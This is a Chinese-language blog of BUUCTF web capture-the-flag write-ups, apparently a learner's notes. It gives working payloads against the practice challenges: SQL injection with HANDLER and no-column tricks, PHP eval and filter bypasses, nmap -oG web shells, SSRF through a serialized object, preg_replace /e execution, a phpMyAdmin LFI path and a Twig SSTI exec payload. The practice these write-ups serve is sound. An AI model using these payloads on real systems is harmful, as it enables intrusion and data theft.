BUUCTF(web刷题记录一)
記錄BUUCTF的web題
目錄
Easy Calc(rce)
CheckIn
BackupFile(sql)
Easy MD5
Online Tool(rce)
Fakebook(ssrf+sql)
The mystery of ip(rce+ssti)
ZJCTF,不過如此(php偽協(xié)議,文件包含,遠(yuǎn)程代碼執(zhí)行)
我有一個數(shù)據(jù)庫(文件包含)
Mark loves cat (變量覆蓋)
easy_web 1
Had a bad day(文件包含)
高明的黑客?
Web1
樸實無華(代碼審計,rce)
Cookie is so stable
Nmap
PYWebsite
EasySearch
NiZhuanSiWei(反序列化,PHP偽協(xié)議)
RCE ME?
phpweb(反序列化)
Can you guess it?
EasySQL(二次注入)
Easy Calc(rce)
(命令執(zhí)行還蠻多的,雖然學(xué)完了命令執(zhí)行但是還是狠狠地漲知識了)
打開一看是簡單計算器,隨便輸入看看
發(fā)現(xiàn)字母輸入不了,查看源碼
發(fā)現(xiàn)是在calc.php里面計算的,而且提示說存在Waf
如果傳入字母和一些其它字符,就會顯示Forbidden。
403Forbidden是HTTP協(xié)議中的一個狀態(tài)碼(Status Code)。可以簡單的理解為沒有權(quán)限訪問此站。
該狀態(tài)表示服務(wù)器理解了本次請求但是拒絕執(zhí)行該任務(wù)
可知這就是WAF
這些字母應(yīng)該就是Waf過濾的,訪問calc.php
<?php error_reporting(0); if(!isset($_GET['num'])){show_source(__FILE__); }else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');// 存在高危漏洞,可以上傳非法字符 } ?>這個代碼是黑名單限制,傳參了之后會進(jìn)行一個正則過濾,如果符合規(guī)則會執(zhí)行eval()。(還沒有完全看懂這個代碼,搞懂了再補(bǔ)后續(xù))
繞waf
php的解析規(guī)則
我們知道PHP將查詢字符串(在URL或正文中)轉(zhuǎn)換為內(nèi)部關(guān)聯(lián)數(shù)組$_GET或關(guān)聯(lián)數(shù)組$_POST。例如:/?foo=bar變成Array([foo] => “bar”).? ?值得注意的是,查詢字符串在解析的過程中會將某些字符刪除或用下劃線代替
php需要將所有參數(shù)轉(zhuǎn)換為有效的變量名,因此在解析查詢字符串的時候,它會做兩件事:
①刪除前后的空白符(空格符,制表符,換行符等統(tǒng)稱空白符)
②將某些字符轉(zhuǎn)換為下劃線(包括空格)
‘num’被限制了,那么' num'呢,在num前面加了空格,這樣waf就找不到num這個變量了,因為waf只是限制了num,waf并沒有限制’ num’,當(dāng)php解析的時候,又會把'?num'前面的空格去掉再解析,利用這點(diǎn)進(jìn)行繞過Waf來上傳非法字符。
因為本題涉及過濾,所以我們查看一下禁用的函數(shù)(disable_functions)發(fā)現(xiàn)system()等好多PHP執(zhí)行系統(tǒng)外部命令函數(shù)都被禁用。
首先我們要先掃根目錄下的所有文件,也就是可以用?scandir("/")?,但是??"/"?被php代碼過濾了,所以我們用chr(47)繞過
構(gòu)造
? num=var_dump(scandir(chr(47))
發(fā)現(xiàn)flagg文件
然后讀取該文件就好啦(本題并沒有過濾掉f1agg 所以可以不用chr()函數(shù))
os:剛開始我傳參是這樣的:
? num=scandir(chr(47))?
發(fā)現(xiàn)沒有回顯,查了一下才知道,因為回顯的是數(shù)組形式,php是不會直接輸出的,所以要借用var_dump或者print_r .? ?這兩個函數(shù)都可以數(shù)組和對象打印出來
用file_get_contents()函數(shù)來代替system()
構(gòu)造:
? num=var_dump(file_get_contents(chr(47).f1agg))
得到flag?
文章參考:Buuctf(Easy Calc 1)_小小大空翼的博客-CSDN博客
PHP執(zhí)行系統(tǒng)外部命令函數(shù):exec()、passthru()、system()、shell_exec()_lxw1844912514的博客-CSDN博客
CheckIn
有空再更這道題
BackupFile(sql)
提交1,正常回顯
提交2,回顯為2,可以判斷為字符型注入
輸入select看看是否有回顯
?可以看到并沒有限制到關(guān)鍵字show
先查詢庫名
1';show databases;#?
繼續(xù)獲取表名?
1';show tables;得到了兩個表,查詢FlagHere
1';desc FlagHere;?查詢FlagHere表的flag列,因為select被過濾了,可以通過使用HANDLER進(jìn)行查詢
參考:
相關(guān)語法: HANDLER tbl_name OPEN [ [AS] alias]HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)[ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]HANDLER tbl_name CLOSE? //其中 ?HANDLER tbl_name OPEN AS example //其后 ?HANDLER example READ index_name="example2"構(gòu)造payload
1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#??成功得到flag
Easy MD5
打開題目,嘗試sql注入沒反應(yīng)
?直接上burp,
可以看到 header 里面有 hint
后臺確實執(zhí)行了我們的查詢,但是在通過where時,條件不匹配,導(dǎo)致報錯
需要password=md5($pass,true)條件為真時,才會執(zhí)行select * form admin
md5()函數(shù)會將我們輸入的值,加密,然后轉(zhuǎn)換成16字符的二進(jìn)制格式,由于ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c轉(zhuǎn)換成16位原始二進(jìn)制格式為'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,這個字符串前幾位剛好是' or '6
所以輸入ffifdyop后,內(nèi)部執(zhí)行語句就會變?yōu)?/p>
select * from 'admin' where password='or '6�]��!r,��b'
但是為什么偏偏當(dāng)password='or'6�]��!r,��b'時,會判斷為真呢?在mysql內(nèi),用作布爾型判斷時,以1開頭的字符串會被當(dāng)做整型數(shù)。要注意的是這種情況是必須要有單引號括起來的,比如password=' or '1xxxx',那么就相當(dāng)于password=' or 1,所以返回值就是true
那么select查詢語句就簡化為
select * from 'admin' where password=' or?6
這樣就可以繞過md5函數(shù)
?按照回顯訪問levels91.php
查看源碼,是md5弱比較 ,為0e開頭的會被識別為科學(xué)記數(shù)法,結(jié)果均為0
直接網(wǎng)上找兩個數(shù)傳參
?md5強(qiáng)比較,直接用數(shù)組繞過即可,md5()函數(shù)無法解出數(shù)值,就會得到===強(qiáng)比較的值相等
Online Tool(rce)
打開題目,又是代碼審計捏
<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; }if(!isset($_GET['host'])) {highlight_file(__FILE__); } else {$host = $_GET['host'];$host = escapeshellarg($host);$host = escapeshellcmd($host);$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);echo 'you are in sandbox '.$sandbox;@mkdir($sandbox);chdir($sandbox);echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }remote_addr和x_forwarded_for這兩個是見的比較多的,服務(wù)器獲取ip用的,這里沒什么用
escapeshellarg()和escapeshellcmd() 沒怎么見過,網(wǎng)上找找資料說這兩個放在一起用會有問題
(具體的繞過參考師傅博客:傳送門)
1)傳入的參數(shù)是:172.17.0.2' -v -d a=1
2)經(jīng)過escapeshellarg處理后變成了'172.17.0.2'\'' -v -d a=1',即先對單引號轉(zhuǎn)義,再用單引號將左右兩部分括起來從而起到連接的作用。
3)經(jīng)過escapeshellcmd處理后變成'172.17.0.2'\\'' -v -d a=1\',這是因為escapeshellcmd對\以及最后那個不配對兒的引號進(jìn)行了轉(zhuǎn)義
4)最后執(zhí)行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中間的\\被解釋為\而不再是轉(zhuǎn)義字符,所以后面的'沒有被轉(zhuǎn)義,與再后面的'配對兒成了一個空白連接符。所以可以簡化為curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\發(fā)起請求,POST 數(shù)據(jù)為a=1'。
大概來說就是兩次轉(zhuǎn)譯后出現(xiàn)了問題,沒有考慮到單引號的問題
往下看,看到echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
這有個system來執(zhí)行命令,而且有傳參,應(yīng)該就是利用這里了
nmap命令中 有一個參數(shù)-oG可以實現(xiàn)將命令和結(jié)果寫到文件
所以構(gòu)造payload:
?host=' <?php @eval($_POST["shell"]);?> -oG shell.php '這里有個需要注意的:
最后面要加引號且引號前面要空格
如果不加,當(dāng)兩個函數(shù)執(zhí)行并echo出來后就會變成:<?php eval($_POST["shell"]);?> -oG shell.php\\,轉(zhuǎn)義出來的反斜杠會和php后綴連在一起,會上傳失敗
得到文件名,上蟻劍連接,在根目錄下找到flag。
或者直接構(gòu)造payload:單引號被轉(zhuǎn)義過濾了,可以使用反引號來進(jìn)行繞過
?host=' <?php echo `cat /flag`;?> -oG shell.php '直接訪問shell.php
Fakebook(ssrf+sql)
真是正在學(xué)什么準(zhǔn)備學(xué)什么就寫到什么題
打開題目,是一個登錄,注冊界面,那就試注冊個賬戶
?注冊成功,但是發(fā)現(xiàn)沒有辦法回訪之前的界面了,那就直接轉(zhuǎn)登錄界面login.php
?查看源代碼,有傳參,有疑點(diǎn),極其可能存在sql注入
?直接訪問view.php?no=1
?手動注入試試看
?
確實存在sql注入,爆字段,試到5的時候報錯那么字段數(shù)就是4了
?那么下面可以用union注入查詢(剛開始試的是報錯注入,布爾注入也行但是我還不會寫腳本又不想網(wǎng)上一把找腳本又懶得看sqlmap)剛開始以為是過濾關(guān)鍵字,大小寫雙寫繞過都不行,最后發(fā)現(xiàn)是有waf(巧得很,最近剛要學(xué)waf),那么用內(nèi)斂注釋符進(jìn)行繞過(過濾了空格)
接下來就簡單多了
(插個報錯注入,嫌棄后面調(diào)數(shù)麻煩就放棄了)
union注入
爆數(shù)據(jù)庫
?no=-1 union/**/select 1,database(),3,4--+爆表
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+爆字段
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+?爆 no,username.passwd,data(各字段內(nèi)容用'|'來分隔了,不然一大堆看著也難受)
?no=-1 union/**/select 1,group_concat(no,'|',username,'|',passwd,'|',data),3,4 from users--+?看到這個data的內(nèi)容是序列化數(shù)據(jù)??不太對勁,難道還有反序列化???應(yīng)該是還有其他的切入點(diǎn)沒有發(fā)現(xiàn),再回去進(jìn)行一波信息收集,查看robots.txt
?發(fā)現(xiàn)有備份文件,訪問直接下載,是源碼
<?phpclass UserInfo {public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}?>?分析一下:
1)注冊界面輸入的blog經(jīng)過了isValidBlog()函數(shù)的過濾,不然直接在注冊界面blog處輸入file:///var/www/html/flag.php就能拿到flag
2)這個一看的話就合理解釋了之前的url傳參sql注入
function get($url){$ch = curl_init(); //創(chuàng)建一個curl資源//設(shè)置curl和相關(guān)的選項curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch); //抓取url并傳給瀏覽器$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch); //關(guān)閉curl資源return $output; } //就是看url3)從上面知道get()函數(shù)存在ssrf漏洞,如圖,get()函數(shù)在此調(diào)用,而$blog又是我們可控的
public function getBlogContents (){return $this->get($this->blog);}4)那為什么會有序列化?我想應(yīng)該是在我們注冊后,把我們的信息序列化一下,然后存進(jìn)data。在user界面,取出blog,獲取資源。
那就很簡單了,下面就將file:///var/www/html/flag.php加入到我們的序列化數(shù)據(jù)里面
(直接拿源碼改遼)
<?php class UserInfo{public $name = "";public $age = 0;public $blog ="";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);} } $a=new UserInfo(naruku,16,'file:///var/www/html/flag.php'); echo serialize($a); ?>得到
O:8:"UserInfo":3:{s:4:"name";s:6:"naruku";s:3:"age";i:16;s:4:"blog";s:29:"file:///var/www/html/flag.php";}配合sql注入傳參:
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"naruku";s:3:"age";i:16;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'?成功繞過
?查看源碼
我的直接點(diǎn)得到flag了
The mystery of ip(rce+ssti)
點(diǎn)開flag模塊?
看源碼,在hint中看到這句話,自然而然想到x-forwarded-for
抓包構(gòu)造x-forwarded-for,發(fā)現(xiàn)IP會根據(jù)x-forwarded-for的設(shè)定而變化?
剛開始想會不會是sql注入,但是以后排除這種可能,料想可能是ssti+rce
可以看到命令被執(zhí)行了,那就簡單遼
ZJCTF,不過如此(php偽協(xié)議,文件包含,遠(yuǎn)程代碼執(zhí)行)
打開題目,代碼審計
<?phperror_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file); //next.php} else{highlight_file(__FILE__); } ?>看到include想到了文件包含并且提示了next.php,那就利用PHP偽協(xié)議來讀取這個文件
php://input
作用:執(zhí)行POST數(shù)據(jù)中的Php代碼
構(gòu)造paload:
?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.phpPOST:
I have a dream得到一堆base64,解碼得
<?php $id = $_GET['id']; $_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str); }foreach($_GET as $re => $str) {echo complex($re, $str). "\n"; }function getFlag(){@eval($_GET['cmd']); }代碼審計,分析以下可利用的點(diǎn)
利用點(diǎn)一:
function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str); }這里preg_replace使用了/e模式,導(dǎo)致可以代碼執(zhí)行。而且該函數(shù)的第一個和第三個參數(shù)我們是可以控制的。preg_replace 函數(shù)在匹配到符號正則的字符串時,會將替換字符串(第二個參數(shù))當(dāng)做代碼來執(zhí)行,但是這里的第二個參數(shù)卻固定為 ‘strtolower(“\1”)’ 字符串。上面的命令執(zhí)行,相當(dāng)于 eval(‘strtolower(“\1”);’) 結(jié)果,當(dāng)中的 \1 實際上就是 \1 ,而 \1 在正則表達(dá)式中有自己的含義。
反向引用
對一個正則表達(dá)式模式或部分模式 兩邊添加圓括號 將導(dǎo)致相關(guān) 匹配存儲到一個臨時緩沖區(qū) 中,所捕獲的每個子匹配都按照在正則表達(dá)式模式中從左到右出現(xiàn)的順序存儲。緩沖區(qū)編號從 1 開始,最多可存儲 99 個捕獲的子表達(dá)式。每個緩沖區(qū)都可以使用 ‘\n’ 訪問,其中 n 為一個標(biāo)識特定緩沖區(qū)的一位或兩位十進(jìn)制數(shù)。所以這里的 \1 實際上指定的是第一個子匹配項
?
構(gòu)造payload:
/?.*={${phpinfo()}}
即以GET方式傳入的參數(shù)名為/?.*,值為phpinfo()。
原先的語句:
preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
語句就變成了:
preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
但是如果我們用get的方式傳參?.*={${phpinfo()}},就會發(fā)現(xiàn)無法執(zhí)行phpinfo()函數(shù),這是由于在PHP中,對于傳入的非法的$_GET數(shù)組參數(shù)名,會將其轉(zhuǎn)化為下劃線,則會就導(dǎo)致了正則匹配失效。所以要做的就是換一個正則表達(dá)式,讓其匹配到{${phpinfo()}}即可執(zhí)行phpinfo函數(shù)。這里可以構(gòu)造payload: \S*=${phpinfo()}執(zhí)行,便可得到phpinfo頁面。(\S匹配任何非空白字符)
根據(jù)題意,我們可以構(gòu)造payload:(通過preg_match遠(yuǎn)程代碼執(zhí)行來調(diào)用getFlag()函數(shù))
\S*=${getFlag()}
利用點(diǎn)二:
function getFlag(){@eval($_GET['cmd']); }直接構(gòu)造payload:
cmd=system('cat /flag')
那么總的payload就是
next.php? \S*=${getFlag()}&cmd=system(' cat /flag');我有一個數(shù)據(jù)庫(文件包含)
打開,亂碼,看源碼沒什么信息,看看rotbots.txt?
?訪問phpinfo.php看看
題目說我有一個數(shù)據(jù)庫,掃一下后臺看看還有什么信息嗎?
掃后臺掃到/phpadmin
(用御劍掃后臺,但是掃不到什么,那就只能有dirsearch來掃描后臺了)
訪問:
http://42751f04-7dee-4693-aac7-26b8aa5cb46e.node4.buuoj.cn:81/phpmyadmin/查看phpadmin后臺管理版本
在phpMyadmin 4.8.x版本中,程序沒有嚴(yán)格控制用戶的輸入,攻擊者可以利用雙重編碼繞過程序的白名單限制,造成 本地文件包含漏洞。
之前復(fù)現(xiàn)過phpadmin文件包含漏洞(傳送門),直接構(gòu)造payload:
/?target=db_sql.php%3f/../../../../../../../../flagMark loves cat (變量覆蓋)
打開題目,找了一下沒什么發(fā)現(xiàn),直接掃目錄,可以知道有.git源碼泄露,但是發(fā)現(xiàn)Githack可以掃除兩個Php文件,但是卻沒有辦法下載下來,直接在網(wǎng)上找這兩個文件了
flag.php
<?php $flag = file_get_contents('/flag'); ?>index.php
<?php include 'flag.php';$yds = "dog"; $is = "cat"; $handsome = 'yds';foreach($_POST as $x => $y){$$x = $y; }foreach($_GET as $x => $y){$$x = $$y; }foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);} }if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds); }if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){exit($is); }echo "the flag is: ".$flag;分析:
前兩個foreach語句分別將POST參數(shù)和GET參數(shù)進(jìn)行變量覆蓋,接著是三個if語句,exit()函數(shù)退出腳本的同時輸出變量,最后一句是輸出我們想要的flag。
首先我們想到的肯定是讓腳本執(zhí)行到最后一句echo $flag;,但即使繞過三個if語句,我們GET傳參或者POST傳參的flag總會被變量覆蓋:如我們GET傳參flag=aaa,在第二個foreach語句中變成$flag = $aaa,而$aaa變量沒有定義為空,最后的輸出就是空
同理:我們POST傳參flag=aaa,在第一個foreach語句中變成$flag= aaa,flag被覆蓋為‘a(chǎn)aa’,最后輸出aaa
?
解法一:利用exit($yds)
exit($yds)的執(zhí)行條件是:post,get都不傳參flag
if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds); }進(jìn)行g(shù)et傳參?yds=flag
get傳參進(jìn)入第二個foreach,這時$x=yds,$y=flag,所以$$x=$yds,$y=$flag,$yds=$flag。
解法二:利用exit($is)
exit($is)的執(zhí)行條件:
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){exit($is); }get傳參?is=flag&flag=flag(和解法一同理,flag=flag是為了符合執(zhí)行條件)?
還有其他的解法,有空再補(bǔ)充
easy_web 1
打開題目,好家伙嘲諷一波
看一下源碼
應(yīng)該是和md5有關(guān),返回頁面可以就看到url有點(diǎn)蹊蹺
?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
?base64解密一下,發(fā)現(xiàn)是兩次base64解密得到一串十六進(jìn)制數(shù)字,再解密,得到555.png
那就是說這里應(yīng)該是個突破口(cmd應(yīng)該也是突破口),那么先試試index.php,加密后得到字符串:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
構(gòu)造payload:
?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
得到回顯,base64解密得到Index.php的源碼
<?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi~ no flag"); } else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>"; } else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");} }?>可以看到cmd過濾了很多關(guān)鍵字(有點(diǎn)奇怪這道題沒有回顯,等搞清楚再來補(bǔ)充)
Had a bad day(文件包含)
打開題目,隨便點(diǎn)點(diǎn)
?url有疑點(diǎn),懷疑是sql或者文件包含
這樣的話就只可能是文件包含了,試著利用文件包含讀取去index.php源碼
構(gòu)造payload:
?category=php://filter/convert.base64-encode/resource=index
得到base64碼,解碼:
<?php $file = $_GET['category']; if(isset($file)) { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){include ($file . '.php'); } else{echo "Sorry, we currently only support woofers and meowers.";} } ?>分析了一下,大概就是說入的category需要有woofers或meowers或index才能包含傳入以傳入名為文件名的文件,我們要想辦法包含flag.php
構(gòu)造payload:
?category=php://filter/read=convert.base64-encode/resource=index/../flag
因為相對路徑是計算出來的,中間目錄如果不存在也沒關(guān)系
得到base64碼,解碼得:
高明的黑客?
下載壓縮包,里面基本上都是php文件,超多,這道題考寫腳本的能力,剛好學(xué)了python 先試試能不能理解,先從簡單的開始
搞懂再更
Web1
打開題目,是一個登錄界面,那么注冊一個用戶,進(jìn)入之后沒什么提示,但有一個申請上傳廣告的界面
?url有疑,申請廣告這個頁面懷疑有sql注入,找找注入點(diǎn)
?
?判斷就是標(biāo)題處頭注入點(diǎn)并且過濾了注釋符和空格,那就用內(nèi)斂注釋符來代替空格進(jìn)行繞過,用單引號進(jìn)行閉合。
?試到22成功,2和3是回顯點(diǎn)
?爆庫:
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'?爆表:
-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/information_schema.tables/**/where/**/table_schema=database()'?又過濾了,試了大小寫和雙寫都沒有辦法進(jìn)行繞過,那就是沒有辦法使用information_schema這張表了。
發(fā)現(xiàn)還有其他表如mysql.innodb_table_stats和sys.schema_table_statistics_with_buffer可以看表名、數(shù)據(jù)庫名,就是沒有列名。
這里要用到無列名注入(沒遇到過,漲知識)
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'?無列名注入:具體參考:傳送門
假設(shè)有tableX
| user | password |
| admin1 | 1234 |
| admin2 | 5678 |
我們輸入查詢語句:
select 1,2 union select * from tableX;| 1 | 2 |
| admin1 | 1234 |
| admin2 | 5678 |
他會生成一個1,2, 再提取tableX的內(nèi)容來臨時生成一張新表,卻不會提取tableX的列名。在這張新表中,我們用的這個數(shù)字邊如同替換了列名。我們便可用這個2在這張臨時的表中指定想要查看的列名。
select `2` from (select 1,2 union select * from tableX)a;這句話的意思是,使用括號內(nèi)的select語句構(gòu)建一張新表a,然后從a中選取列名為‘2’的列,即原來的passwd列。至此,我們便完成了無列名注入。(如果反引號?`?被過濾,我們可以使用別名替代。)
select b from (select 1,2 as b union select * from tableX)a;所以查詢表中內(nèi)容:
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
?查詢表內(nèi)容:
這里為什么是三列呢,因為users表一般為id,username,password三列,而flag一般在username或者password
樸實無華(代碼審計,rce)
打開題目,亂碼?
一上來就叫我hack它?這我也得找找切入點(diǎn)吧,之前也是大概做了到亂碼的題目加上題目有bot,直接查看rotbots.txt
?訪問一下
耍人?想到之前題目有個報錯說什么header,直接上Bp看看?
真的藏了個fl4g.php,直接訪問,得到源碼(旦總我不想被安排去非洲吶)?
<?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__);//level 1 if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "我不經(jīng)意間看了看我的勞力士, 不是想看時間, 只是想不經(jīng)意間, 讓你知道我過得比你好.</br>";}else{die("金錢解決不了窮人的本質(zhì)問題");} }else{die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "想到這個CTFer拿到flag后, 感激涕零, 跑去東瀾岸, 找一家餐廳, 把廚師轟出去, 自己炒兩個拿手小菜, 倒一杯散裝白酒, 致富有道, 別學(xué)小暴.</br>";elsedie("我趕緊喊來我的酒肉朋友, 他打了個電話, 把他一家安排到了非洲"); }else{die("去非洲吧"); }//get flag if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "想到這里, 我充實而欣慰, 有錢人的快樂往往就是這么的樸實無華, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");} }else{die("去非洲吧"); } ?>level1:為了不被安排去非洲,只能勇闖三關(guān)了
傳入一個參數(shù)num,經(jīng)過intval函數(shù)既要小于2020并且加一要大于2021,看一下這個函數(shù)
?
?這個函數(shù)在用科學(xué)計數(shù)法的時候,只會保留前面的1
構(gòu)造payload:
?num=1e10?哦豁第一關(guān)闖關(guān)成功
level2:來個拿手小菜
直接網(wǎng)上一把找get傳參的值和md5加密后的值相等的數(shù)值,即0e215962017 的 MD5 值也是由 0e 開頭,在 PHP 弱類型比較中相等
構(gòu)造payload:
?num=1e10&md5=0e215962017?馬上逃離非洲!!
level3:
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "想到這里, 我充實而欣慰, 有錢人的快樂往往就是這么的樸實無華, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");} }else{die("去非洲吧"); }可以看到過濾了cat和空格,都好繞過,先看看當(dāng)前目錄有什么文件
傳參:
?num=1e10&md5=0e215962017&get_flag=ls?知道flag是哪個文件啦,那就簡單啦
cat 用 ca\t 繞過,空格用${IFS}來繞過,傳參:
?num=1e10&md5=0e215962017&get_flag=ca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag得到flag,成功逃過被安排去非洲的命運(yùn)!!!
Cookie is so stable
打開題目,題目說是cookie微妙,hint.php源碼也在暗示cookie,抓包看看,剛開始覺得會不會是cookie注入攻擊,但是嘗試無果
?卡住了,看來其他師傅的wp,好家伙,我還真沒有學(xué)到,又來漲知識。
解題過程:
?抓包,發(fā)現(xiàn)cookie里面有user,確定是ssti模板注入。下面來判斷是哪一個模塊
判斷其模板引擎類型方法:
?在cookie的user處輸入{{7*7}}來進(jìn)行判斷
返回49(返回7777777表示是 Jinja2 模塊),說明是Twig模板引擎?
確定后直接在網(wǎng)上找個合適的payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flagNmap
剛開始以為是rce,直接試: 127.0.0.1 | ls?
發(fā)現(xiàn) ' | '被轉(zhuǎn)義了,試試其他的管道符,發(fā)現(xiàn)都被辦了,沒什么思路,看來其他師傅的wp,說是要利用nmap寫入一句話木馬,想起之前做的Online Tool也是利用這個來getshell,嗚嗚嗚腦子笨沒有聯(lián)想到,改天回去歸納總計一下,知道這個解題思路就很簡單了
127.0.0.1 | ' <?= @eval($_POST["shell"]);?> -oG hack.php '?進(jìn)行繞過
127.0.0.1 | ' <?= @eval($_POST["shell"]);?> -oG hack.phtml 'phtml后要有空格,不然上傳的文件會變成下面的樣子
?查看掃描列表:
點(diǎn)進(jìn)訪問hack.phtml文件?
?連接蟻劍,在根目錄下找到flag即可
PYWebsite
打開題目,說是要購買flag,f12查看一下源碼
發(fā)現(xiàn)有個flag.php,訪問一下看看
看到說保存了IP驗證,那就聯(lián)想到了X-Forward-For,直接抓包構(gòu)造X-Forwarded-For: 127.0.0.1
得到flag.php?
EasySearch
又是登錄界面,試了試登錄,失敗遼,那就常規(guī)掃后臺
掃出個index.php.swp備份,訪問看源碼
